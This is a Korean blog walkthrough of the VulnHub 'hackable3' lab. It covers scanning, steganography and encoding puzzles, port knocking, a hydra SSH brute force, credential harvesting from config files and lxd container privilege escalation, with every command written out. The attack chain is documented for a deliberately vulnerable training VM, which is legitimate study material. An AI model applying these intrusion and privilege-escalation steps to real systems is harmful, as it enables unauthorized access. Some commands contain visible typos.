vulnhub

vulnhub[hackable3 환경 실습]

sheow13 2023. 8. 16. 16:29
728x90

 hackable3 환경 실습

 실습 환경

- VMware로 구성

- Kali Linux[설치 경로 : https://www.kali.org/get-kali/#kali-virtual-machines]

- hackable3[설치 경로 : https://www.vulnhub.com/entry/hackable-iii,720/]

 

 실습 목표

- 이 실습을 통해 Port Knocking에 대해 숙지

- 이 실습을 통해 스테가노그래피 개념과 해독 방법에 대해 숙지

 

 진행 절차

Reconnaissance(정찰)

Step 1. hackable3 환경 VirtualBox에서 부팅 시, login 페이지가 뜨나 계정 정보를 알고 있지 않음

해당 서버에 취약점을 이용하여 계정 정보를 몰라도 권한 탈취하는 것이 목표

[계정 정보를 몰라도 루트 계정 탈취하는 것이 목표]

 

Step 2. 해당 서버 IP정보를 획득하기 위하여 Kali Linux를 활성화 후, 같은 네트워크 IP 대역 정보를 획득

- Kali Linux와 Hackable을 VirtualBox에서 NAT로 같은 네트워크로 설정 필요
- VMware에서는 x.x.x.[1,2,3]은 예약된 IP로 해당 IP 이외에 탐지된 IP 확인 필요
명령어
root@kali#arp-scan –I eth0 -l

[arp-scan 조회 결과]

 

Step 3. 해당 서버 Open된 포트 및 설정 정보들을 확인하기 위하여 NMAP을 사용하여 정보 수집

- Open된 포트 : SSH(22/TCP), HTTP(80/TCP)
- NMAP을 통해 발견한 사실 : 확인된 포트가 SSH, HTTP 이나 SSH는 필터링되어 접근이 불가능한 것을 확인. HTTP에 취약한 설정이 있는지 확인 필요
명령어
root@kali#nmap sV sC –p- [점검할 IP]

[nmap 조회 결과, SSH는 필터링이 되어 있으며, HTTP만 오픈된 것으로 확인]

 

Step 4. 더 자세한 정보를 알기 위해 nikto를 사용해 조회해본 결과, 디렉토리 인덱싱, 관리자 페이지 노출, CGI 취약점이 있는 것으로 확인되며 이를 이용해서 추가 공격을 할 수 있을 것으로 판단.

명령어
root@kali#nikto –h http://[점검할 IP]

[웹 취약점 점검 도구인 nikto를 통해 조회 결과, 여러개의 취약점이 있는것으로 확인]

 

Step 5. 해당 웹 페이지로 접근 후 페이지 소스 보기를 클릭하면, 사용자 정보와 포트 노킹이 걸려 있음을 확인. nikto를 통해 수집한 관리자 페이지 접근 시, 빈 화면이 뜨고 있으며 페이지 소스에서 ‘3.jpg’를 참조하고 있는 것으로 확인

[HTTP로 접근 시, 이미지 파일이 첨부되어 있는 것으로 확인]
[페이지 소스 보기를 통해 확인 시, 사용자 및 pork knocking이 걸려 있음을 확인]
[nikto를 통해 발견한 경로인 'login.php'로 접근 시, 빈 화면으로 뜨는 것으로 확인]
[페이지 소스 보기를 통해 확인 시, '3.jpg'를 참조하고 있는 것으로 확인]

 

Resource Development(자원 개발)

Step 6. ‘3.jpg’ 파일을 다운로드 후 스테가노그래피를 통해 이미지에 숨겨져 있는 암호가 있는지 확인.

명령어
root@kali#steghide extract –sf 3.jpg
root@kali#cat steganopayload148505.txt

[스테가노그래피를 통해 이미지 파일 내 숨겨진 암호 확인]

 

Step 7. nikto를 통해 수집한 ‘/config’ 경로로 이동 시, Base64로 암호화된 문자가 보여 디코딩 시, ‘10000’으로 찍히는 것을 확인. knocking에 필요한 값으로 추측을 하고 추가 정보를 수집하기 위해 dirb를 통해 디렉토리 경로 탐색 시, ‘/backup’, ‘/imagens’, ‘/css’ 등이 있는 것으로 확인

명령어
root@kali#echo MTAwMDA= | base64 -d
root@kali#dirb http://[점검할 IP]

[base64 형식으로 인코딩 되어 있는 것으로 확인]
[인코딩된 값을 디코딩 시 '10000'이라는 값 획득]
[dirb를 통해 열람 가능한 디렉토리 정보 확인]

 

Step 8. ‘/css’ 경로로 이동하여 ‘2.txt’ 파일 열람 시, brainfuck 언어로 나타내고 있는 것으로 확인되어, 디코딩 하는 사이트로 이동하여 복호화 진행 시, ‘4444’로 확인. knocking에 필요한 값으로 추측

- 복호화 사이트 : https://www.dcode.fr/brainfuck-language

 

Brainfuck Language - Online Decoder, Translator, Interpreter

Tool to decode/encode in Brainfuck, an esoteric programming language consisting of characters like ++++---[+++].

www.dcode.fr

 

 

Step 9. 발견한 숫자로 포트 노킹을 해제를 진행하면 정상적으로 동작하는 것으로 확인. nmap으로 다시 확인해본 결과, ssh가 필터링이 해제된 것으로 확인

명령어
root@kali#knock [점검할 IP] 10000 4444 65535
root@kali#nmap sV –p- [점검할 IP]

[knock을 풀고 nmap 조회 결과, SSH open 확인]

 

Execution(실행)

Step 10. 포트 노킹되어 있는 서버를 침투하는 것으로 추측하고, dirb 명령어를 통해 수집한 경로 ‘/backup’으로 접근 시, wordlist가 존재하는 것으로 확인. 해당 문서로 패스워드 무작위 대입을 할 수 있을 것으로 추측. 해당 파일을 다운로드 후, 패스워드 크랙 도구인 hydra를 통해 무작위 대입 시 정상적으로 로그인 되는 것을 확인

명령어
root@kali#mousepad pass.txt
root@kali#hydra -l jubiscleudo -P pass.txt [점검할 IP] ssh

 

[패스워드 크랙 도구인 hydra를 통해 brute force 진행 결과, 패스워드 탈취 확인]
[획득한 계정 정보로 접근 가능 확인]

 

Privilege Escalation(권한 상승)

Step 11. 해당 계정으로 접근 후, 웹 루트 디렉토리(/var/www/) 경로로 이동 후, web 중요 파일로 추측되는 config.php 조회 시, 루트 계정 정보 확인. 해당 계정으로 접속하려 했으나 접근 실패하여 다른 config 파일을 확인해보니 다른 계정 접속 정보 있는 것으로 확인. 해당 계정으로 접근 시 정상적으로 접근 확인

[config.php 파일 내 계정 정보로 접근 시, 접근 불가 확인]
[숨긴 파일인 '.backup_config.php' 열람 시, 'hackable_3' 계정 정보 기재되어 있는 것으로 확인]
[해당 계정('hackable_3')으로 접근 가능 확인 및 컨테이너(lxd) 그룹에 포함되어 있는 것으로 확인]

 

 

Step 12. 해당 계정의 id를 확인했을 때, 컨테이너(lxd) 권한이 있는 것으로 확인. lxd를 통한 권한 상승은 이미 가지고 있는 로컬 계정을 사용해야하므로, lxd용 이미지를 생성 및 컨테이너 설치 등을 진행

- 사전에 수행해야 하는 업무 : ⓵ alpine 이미지 설치 ⓶ 이미지를 lxd로 가져옴 ⓷ 이미지를 보관할 새 컨터에너를 만듦 ⓸ 컨테이너 /root에 마운트 되도록 설정

 

※ lxd/lxc 권한 상승 : lxd 그룹의 사용자는 일반적으로 Linux 컨테이너를 시작하고 관리할 수 있는데, 해당 그룹에 속해 있는 사용자는 루트 파일 시스템을 마운트하고 권한 상승할 수 있는 권한이 부여받을 수 있다.
명령어
root@kali#apt isntall -y golang-go debootstrap rsync gpg squashfs-tools
root@kali#git clone https://github.com/lxc/distrobuilder
root@kali#cd distrobuilder
root@kali#make
root@kali#mkdir -p $HOME/ContainerImages/alpine/
root@kali#cd $HOME/ContainerImages/alpine
root@kali#wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
root@kali#sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.9
root@kali#python3 -m http.server 80

[distorobuilder를 사용하기 위하여 GO 프로그래밍 언어 설치]
[리포지토리의 소스 코드 다운로드]
[설치한 경로로 이동 후 컴파일 진행]
[컨테이너 이미지인 alpine 설치]
[alpine 이미지 release 진행]
[release한 이미지 파일을 업로드 하기 위해서 서버 오픈]

 

Step 13. python http 서버를 사용하여 alpine-image를 받아온 후, 이미지 import 후 확인해본결과, 스토리지 풀이 없다는 것을 확인 후 디폴트 값으로 초기화 진행 후, lxc 실행 및 /bin/sh 권한으로 변경 시 루트 권한 탈취 확인

명령어
hackable_3@ubuntu20$wget http://[칼리 리눅스 IP]/lxd.tar.xz
hackable_3@ubuntu20$wget http://[칼리 리눅스 IP]/rootfs.squashfs
hackable_3@ubuntu20$lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
hackable_3@ubuntu20$lxc image list
hackable_3@ubuntu20$lxc init alpine privesc -c security.privileged-true
hackable_3@ubuntu20$lxd init
hackable_3@ubuntu20$lxc init alpine privesc -c security.privileged=true
hackable_3@ubuntu20$lxc list
hackable_3@ubuntu20$lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
hackable_3@ubuntu20$lxc start privesc
hackable_3@ubuntu20$lxc exec privesc /bin/sh

 

 

[alpine image 업로드 진행]
[alpine 이미지 import]
[alpine 이미지 초기화]
[컨테이너 초기화]
[lxc를 루트 파일 시스템을 mount 후 시작 시, 루트 권한 획득 확인]

 

'vulnhub' 카테고리의 다른 글

vulnuhub [Sick0s]  (1) 2023.10.17
Vulnhub [Moriarty Corp]  (1) 2023.10.17
Vulnhub[holynix]  (0) 2023.08.16
Vulnhub[Kioptix Level1]  (0) 2023.08.16
Vulnhub[Win7 환경 실습]  (0) 2023.08.16